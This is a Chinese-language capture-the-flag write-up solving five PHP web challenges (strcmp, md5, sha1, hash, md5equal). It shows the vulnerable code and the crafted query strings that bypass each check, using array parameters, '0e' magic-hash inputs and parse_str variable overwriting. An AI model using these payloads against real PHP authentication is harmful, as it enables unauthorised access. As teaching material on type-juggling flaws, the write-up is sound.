PHPCode
strcmp
题目描述
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
首先引入flag.php文件,$_GET 是通过 URL 参数传递到当前脚本的变量数组,所以直接在url上可以写入。看判断如果变量不为空,所以可以尝试定义 a 的值。
重点来了,strcmp()函数是比较两个 字符串 的大小。
语法:
strcmp(str1,str2)
返回值:
- 0 - 如果两个字符串相等
- <0 - 如果 str1 小于 str2
- >0 - 如果 str1 大于 str2
但是正因为strcmp函数只能比较字符串,而且是 规定 字符串,所以我们可以直接把a当作数组来比较,但是他可以把数组的某个元素单独进行比较,所以我们直接 ?a[]= 他检测到是数组,返回值为0,从而得出flag。
md5
题目描述
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
首先开头 error_reporting(0) 表示关闭错误报告,如果 username 和 password 同时不为空,且如果 username 和 password 相等 会输出 Your password can not be your username. 不然如果 md5加密 username 和 password 完全相同,则输出 flag 结束。
我第一个想到的是md5加密后的前几位相同,因为在php中0e会被当做科学计数法,就算后面有字母,其结果也都是0,所以if判断结果使true。
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
结果试了
?username=QNKCDZO&password=240610708之后行不通又想到md5加密数组之后返回值为“false”,所以直接构建 ?username[]=0&password[]=2 ,从而得出flag。
sha
题目描述
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['name']) and isset($_GET['password'])){
var_dump($_GET['name']);
echo " ";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.';
}
else
echo 'Login first!';
?>
首先如果name和password相等,var_dump() 是返回数据的类型,重要的在下面如果sha1加密后name 完全等于 sha1加密后password 则返回flag。
这里sha1加密和md5一样也是不能直接加密数组,所以同理 ?name[]=0&password[]=1,从而得出flag。
hash
题目描述
<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'd1ae9ee95ff52b64fae95e565d57fb3943de636df77f77b96fb2290338aa11b2';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action === "auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input !== $hashed_key){
die("no");
}
echo $flag;
}
}else{
highlight_file(__FILE__);
}?>
首先这题要了解parse_url()函数和parse_url函数
parse_url()函数会解析一个URL并返回一个关联数组,包含在URL中出现的各个组成部分
parse_str()函数如果值为URL传递入的查询字符串,则会将他解析为变量
例如:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
$parsed = parse_url($url); //解析为关联数组
print_r($parsed);
echo "<br>";
$query = $parsed["query"]; //输出数组中对象
print($query);
echo "<br>";
var_dump($query);
$parsed_query = parse_str($query); //解析为字符串
echo "<br>";
var_dump($parsed_query);
echo "<br>";
$action = $parsed_query['action'];
var_dump($action);
?>
输出结果为:
Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor )
arg=value
string(9) "arg=value"
NULL
NULL
但是在parse_url()解析后提交的parse_str解析,这里通过query提交覆盖了parse_str变量,如果$hashed_input!==&hashed_key,则输出flag,不过在这里我们可以用 $hashed_input 覆盖 $hashed_key ,所以随便传入key的值为c,构建url,从而的出flag。
?query=&hashed_key=2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6&action=auth&key=c
md5equal
题目描述
<?php
include("flag.php");
highlight_file(__FILE__);
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo $flag;
} else {
echo "false!!!";
}
}
else{echo "please input a";}
?> please input a
首先这里@_GET['a'],@在这检查值是否为空,防止没有$_GET出现报错,但是代价高,一般用isset()来判断。
他说如果 $a != 'QNKCDZO' 与 $md51 == $md52 同时成立就输出flag,这里就用到了上面讲的,md5加密后的前几位相同,因为在php中0e会被当做科学计数法,就算后面有字母,其结果也都是0,所以if判断结果使true。所以?a=240610708,从而得出flag。
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
......
以上纯属个人做法,如有不同观点,请多多留言交流
题目来自于WgpSec CTF(狼族安全团队CTF)